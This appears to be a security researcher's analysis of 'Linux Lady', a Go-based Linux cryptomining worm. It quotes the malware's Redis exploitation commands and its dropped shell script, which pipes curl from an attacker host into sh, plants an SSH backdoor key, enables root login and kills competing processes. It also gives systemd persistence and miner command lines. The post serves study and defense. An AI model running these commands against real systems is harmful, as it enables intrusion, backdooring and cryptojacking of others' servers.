Linux Lady Malware.

Linux Lady

Overview

Linux Lady is a malware written in Go for Linux platforms. Surprisingly enough, it’s objective is not to build a DDoS botnet. Instead, it is designed to be monetized by mining cryptocurrencies.

The analyzed sample was built for x86_64, statically linked, and stripped:

[0x00460580]> i
type     EXEC (Executable file)
file     9ad4559180670c8d60d4036a865a30b41b5d81b51c4df281168cb6af69618405
fd       8
size     0x80da00
iorw     false
blksz    0x0
mode     -r--
block    0x100
format   elf64
havecode true
pic      false
canary   false
nx       true
crypto   false
va       true
bintype  elf
class    ELF64
lang     c
arch     x86
bits     64
machine  AMD x86-64 architecture
os       linux
minopsz  1
maxopsz  16
pcalign  0
subsys   linux
endian   little
stripped true
static   true
linenum  false
lsyms    false
relocs   false
rpath    NONE
binsz    8592384

Analysis

Glancing to the main function of the malware, it is easy to observe that the binary offer different funcionalities depending on the flags provided:

-Pid

Expects an integer as a parameter, and checks if there’s any process with that number as Pid runinng on the machine.

-Version

Prints the version of the malware

-Install

Installs the malware to the target system. First, it checks if the current path to the executable is /usr/sbin/ntp. If that is not the case, the malware will copy itself to that path. Then, the persistence is obtained by creating an init.d or systemd service file. As an example, the latter would be /etc/systemd/system/ntp.service with the following contents:

[Unit]
Description=NTP daemon
ConditionFileIsExecutable=/usr/sbin/ntp
[Service]
StartLimitInterval=5
StartLimitBurst=10
ExecStart=/usr/sbin/ntp "-D"
Restart=always
RestartSec=120
[Install]
WantedBy=multi-user.target

When that is done, it just restarts the service by running systemd ntp.service restart

-D

It is the payloads function, in which several payloads are handled. A goroutine is created of each of the payloads, and the communication between the main process and them is done via channels.

[0x00401870]> pd 18 @ 0x00401904
|           0x00401904      488d05058865.  lea rax, 0x00a5a110         ; 0xa5a110
|           0x0040190b      4889442408     mov qword [rsp + local_8h], rax
|           0x00401910      e85b560300     call runtime.newproc
|           0x00401915      488d1d246f3f.  lea rbx, 0x007f8840         ; 0x7f8840 ; chan st.Minerd
|           0x0040191c      48891c24       mov qword [rsp], rbx
|           0x00401920      48c74424083c.  mov qword [rsp + local_8h], 0x3c ; [0x3c:8]=0x60006000b ; '<'
|           0x00401929      e8d2520000     call runtime.makechan
|           0x0040192e      488b442410     mov rax, qword [rsp + local_10h] ; [0x10:8]=0x1003e0002
|           0x00401933      488984249800.  mov qword [rsp + local_98h], rax
|           0x0040193b      4889442410     mov qword [rsp + local_10h], rax
|           0x00401940      c70424080000.  mov dword [rsp], 8
|           0x00401947      488d05fa8765.  lea rax, 0x00a5a148         ; 0xa5a148
|           0x0040194e      4889442408     mov qword [rsp + local_8h], rax
|           0x00401953      e818560300     call runtime.newproc
|           0x00401958      488d1da16f3f.  lea rbx, 0x007f8900         ; 0x7f8900 ; chan st.Update
|           0x0040195f      48891c24       mov qword [rsp], rbx
|           0x00401963      48c74424083c.  mov qword [rsp + local_8h], 0x3c ; [0x3c:8]=0x60006000b ; '<'
|           0x0040196c      e88f520000     call runtime.makechan
|           0x00401971      488b442410     mov rax, qword [rsp + local_10h] ; [0x10:8]=0x1003e0002
|           0x00401976      488984249000.  mov qword [rsp + local_90h], rax

While the goroutines are being executed concurrently, the payloads function obtain information about the system where it is running. For this purpose it is using a public Go package called gopsutil. The following struct shows the information being retrieved:

type InfoStat struct {
    Hostname             string `json:"hostname"`
    Uptime               uint64 `json:"uptime"`
    BootTime             uint64 `json:"bootTime"`
    Procs                uint64 `json:"procs"`           // number of processes
    OS                   string `json:"os"`              // ex: freebsd, linux
    Platform             string `json:"platform"`        // ex: ubuntu, linuxmint
    PlatformFamily       string `json:"platformFamily"`  // ex: debian, rhel
    PlatformVersion      string `json:"platformVersion"` // version of the complete OS
    KernelVersion        string `json:"kernelVersion"`   // version of the OS kernel (if available)
    VirtualizationSystem string `json:"virtualizationSystem"`
    VirtualizationRole   string `json:"virtualizationRole"` // guest or host
    HostID               string `json:"hostid"`             // ex: uuid
}

This information is then sent to the C&C server via GET request. This GET request is also used to download the configuration, which is in toml format:

http://r.cxxxxxxxg.com/s2.toml?Version=%d&NumCPU=%d&IntSize=%d&Hostname=%s&OS=%s&Platform=%s&Procs=%d&Uptime=%d
# IP = ""
DelaySecond = 300

[Update]
Version = 51
Url = "http://r.cxxxxxxxg.com/v51/lady"

[[Attacks]]
Method = "Redis"
Work = true
Max = 1
ShellUrl = "http://r.cxxxxxxxg.com/pm.sh?0703"

[Minerd]
Url = "http://r.cxxxxxxxg.com/minerd"
Cmds = [
    "-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCV...vQMinrKeQ1vuxD4RTmiYmCwY4inWmvCXWbcJHL3JDwp -p x",
    "-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 48vKMSzWMF8TC...vQMinrKeQ1vuxD4RTmiYmCwY4inWmvCXWbcJHL3JDwp -p x",

    "-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 47TS1NQvebb3...UA8EUaiuLiGa6wYtv5aoR8BmjYsDmTx9DQbfRX -p x",
    "-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 47TS1NQvebb3...UA8EUaiuLiGa6wYtv5aoR8BmjYsDmTx9DQbfRX -p x",

    "-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 448J3JccPv4D8X...HqNeLK8LguDFpJtcFJ6ZWr1NAbuEVmHEz5JftEox -p x",
    "-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 448J3JccPv4D8X...HqNeLK8LguDFpJtcFJ6ZWr1NAbuEVmHEz5JftEox -p x",
]

[[IPRules]]
Url = "http://ipinfo.io/ip"
Pattern = '\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b'
UserAgent = "curl/7.38.0"

[[IPRules]]
Url = "https://ifconfig.co/"
Pattern = '\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b'
UserAgent = "curl/7.38.0"

[[IPRules]]
Url = "http://ifconfig.me/"
Pattern = '\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b'
UserAgent = "curl/7.38.0"

[[IPRules]]
Url = "https://api.ipify.org/"
Pattern = '\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b'
UserAgent = "curl/7.38.0"

The configuration file contains information for all the payload goroutines, and each piece will be sent to the corresponding goroutine via their respective channels.

IPRule

This goroutine is in charge of obtaining the external IP address of the infected machine. It will chose one of the sites specified in the configuration file, do a GET request with a curl UserAgent, and retrieve the IP address.

Update

This goroutine is in charge of updating the malware binary. It would download it from the URL provided in the config file, write it to disk at /usr/sbin/ntp, and restart the ntp.service service.

Attack

The attack goroutine handles the propagation of the malware. To do so, it is using a known attack against redis servers exposed to the Internet, which we will explain in a few lines. The target selection is done randomly, by generating IPs based on the first quad of the infected machine’s external IP.

[0x00401870]> pd 38 @ 0x4627f5
|           ; JMP XREF from 0x00462b47 (attack.Attack.func2)
|           0x004627f5      488b1d3cb27a.  mov rbx, qword [0x00c0da38] ; [0xc0da38:8]=-1
|           0x004627fc      48891c24       mov qword [rsp], rbx
|           0x00462800      488bb4241801.  mov rsi, qword [rsp + local_118h] ; [0x118:8]=0x1000
|           0x00462808      488d7c2408     lea rdi, [rsp + local_8h]   ; 0x8
|           0x0046280d      488b0e         mov rcx, qword [rsi]
|           0x00462810      48890f         mov qword [rdi], rcx
|           0x00462813      488b4e08       mov rcx, qword [rsi + 8]    ; [0x8:8]=0
|           0x00462817      48894f08       mov qword [rdi + 8], rcx
|           0x0046281b      e8d0520400     call regexp.__Regexp_.FindString
|           0x00462820      488b5c2418     mov rbx, qword [rsp + local_18h] ; [0x18:8]=0x460580 _rt0_amd64_linux
|           0x00462825      48895c2460     mov qword [rsp + local_60h], rbx
|           0x0046282a      488b5c2420     mov rbx, qword [rsp + local_20h] ; [0x20:8]=64 ; "@" 0x00000020  ; "@"
|           0x0046282f      48895c2468     mov qword [rsp + local_68h], rbx
|           0x00462834      48c704240001.  mov qword [rsp], 0x100      ; [0x100:8]=0xbe1000 section.LOAD2
|           0x0046283c      e83f870200     call math_rand.Intn
|           0x00462841      488b5c2408     mov rbx, qword [rsp + local_8h] ; [0x8:8]=0
|           0x00462846      48895c2448     mov qword [rsp + local_48h], rbx
|           0x0046284b      48c704240001.  mov qword [rsp], 0x100      ; [0x100:8]=0xbe1000 section.LOAD2
|           0x00462853      e828870200     call math_rand.Intn
|           0x00462858      488b5c2408     mov rbx, qword [rsp + local_8h] ; [0x8:8]=0
|           0x0046285d      48895c2440     mov qword [rsp + local_40h], rbx
|           0x00462862      48c70424fe00.  mov qword [rsp], 0xfe       ; [0xfe:8]=0xbe10000000
|           0x0046286a      e811870200     call math_rand.Intn
|           0x0046286f      488b5c2408     mov rbx, qword [rsp + local_8h] ; [0x8:8]=0
|           0x00462874      48ffc3         inc rbx
|           0x00462877      48895c2438     mov qword [rsp + local_38h], rbx
|           0x0046287c      31db           xor ebx, ebx
|           0x0046287e      48899c24c800.  mov qword [rsp + local_c8h], rbx
|           0x00462886      48899c24d000.  mov qword [rsp + local_d0h], rbx
|           0x0046288e      48899c24d800.  mov qword [rsp + local_d8h], rbx
|           0x00462896      48899c24e000.  mov qword [rsp + local_e0h], rbx
|           0x0046289e      48899c24e800.  mov qword [rsp + local_e8h], rbx
|           0x004628a6      48899c24f000.  mov qword [rsp + local_f0h], rbx
|           0x004628ae      48899c24f800.  mov qword [rsp + local_f8h], rbx
|           0x004628b6      48899c240001.  mov qword [rsp + local_100h], rbx
|           0x004628be      488d9c24c800.  lea rbx, [rsp + local_c8h]  ; 0xc8
|           0x004628c6      4883fb00       cmp rbx, 0
|           0x004628ca      0f84e0020000   je 0x462bb0

Then, the malware tries to connect to the generated IP at the common Redis port (6379) and issue the following commands:

1. config set stop-writes-on-bgsave-error no
2. config set rdbcompression no
3. config set dir /var/spool/cron
4. config set dbfilename root
5. set 1 "*/1 * * * * curl -L http://r.cxxxxxxxxg.com/pm.sh?0703 | sh"
6. save
7. config set dir /root/.ssh/
8. config set dbfilename authorized_keys
9. set 1 "ssh_pub_key_here"
10. save
11. del 1
12. config set dir /tmp
13. config set dbfilename dump.rdb
14. config set rdbcompression yest

The above commands will create 2 files on the target machine: /var/spool/cron/root and /root/.ssh/. The first one will contain the crontab syntax that will make the following command to be run every minute: curl -L http://r.cxxxxxxxxg.com/pm.sh?0703 | sh

This command, will download and execute the following script:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.cxxxxxxxg.com/pm.sh?0706 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r.cxxxxxxxg.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
	mkdir -p ~/.ssh
	rm -f ~/.ssh/authorized_keys*
	echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/A...b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
	echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
	echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
	echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
	echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
	/etc/init.d/sshd restart
fi

if [ ! -f "/etc/init.d/ntp" ]; then
	if [ ! -f "/etc/systemd/system/ntp.service" ]; then
		mkdir -p /opt
		curl -fsSL http://r.cxxxxxxg.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
	fi
fi

/etc/init.d/ntp start

ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9

This script, when executed, will overwrite the cron jobs at /var/spool/cron/root and /var/spool/cron/crontabs with the following line, which will download and run the same script as above:

*/10 * * * * curl -fsSL http://r.cxxxxxxxg.com/pm.sh?0706 | sh

Additionally, the script will remove the /root/.ssh/authorized_keys file in case it exists (created by the Redis attack), and will add a new public key in an alternate authorized_keys file. It will also check if there’s the malware’s service file at /etc/init.d/ntp or /etc/systemd/system/ntp.service. In case not, it will donwload the Lady Linux binary corresponding to the target platform and run it with the -Install flag.

In addition to this script that will be run, the Redis commands will create a /root/.ssh/authorized_keys file in the target machine, containing a public key file. Then, the malware has the private key hardcoded in order to connect afterwards to the attacked machine via SSH as root, and run the following command:

curl -fsSL http://r.cxxxxxxxg.com/pm.sh?0703?ssh | sh

This will again download the script above and run it.

It is worh noting that the malware is appending a ?ssh parameter to the query string, probably to allow the tracking of the machines compromised via SSH, so the attacker can connect to them later.

Minerd

This payload of the malware is in charge of monetizing the infections, by installing a cryptocurrency miner.

The goroutine will first check if the minerd process is running, and kill it. Then it checks if the file at /opt/minerd does not exists, download it from http://r.cxxxxxxxg.com/minerd and run it with one of the commands provided in the configuration file, for example:

/opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCV...vQMinrKeQ1vuxD4RTmiYmCwY4inWmvCXWbcJHL3JDwp -p x

As it can be appreciated, in the URL of crypto-pool, the cryptocurrency being mined is the Monero (XMR). By visiting the site and using the wallet ID, we can check the hash rate for it, and estimate the amount of money the bad guys are earning with the help of this calculator.

Wallet IDHashrateMonthly earnings
196.58 KH/sec$7,331.62
291.31 KH/sec$6,932.56
326.86 KH/sec$2,042.91
Total-$16,307.09

Conclusions

Go is a language very useful for its easy syntax, and very comfortable as it has a great standard library and a big community that is being built around it, providing lots of third-party libraries. This help developers to write less code, and so to malware writers. Additionally, Go provides a great toolchain that allow the same code to be compiled for a variety of platforms and processor architectures, which we guess that is what makes Go attractive to the bad guys.

We dare to say that the time invested in writing this malware couldn’t have taken more than a boring Sunday, making the monetization of this one quite outstanding.

TYPEHASHFilePassword
MD586ac68e5b09d1c4b157193bb6cb34007Downloadinfected

The Malware Hunter.

Back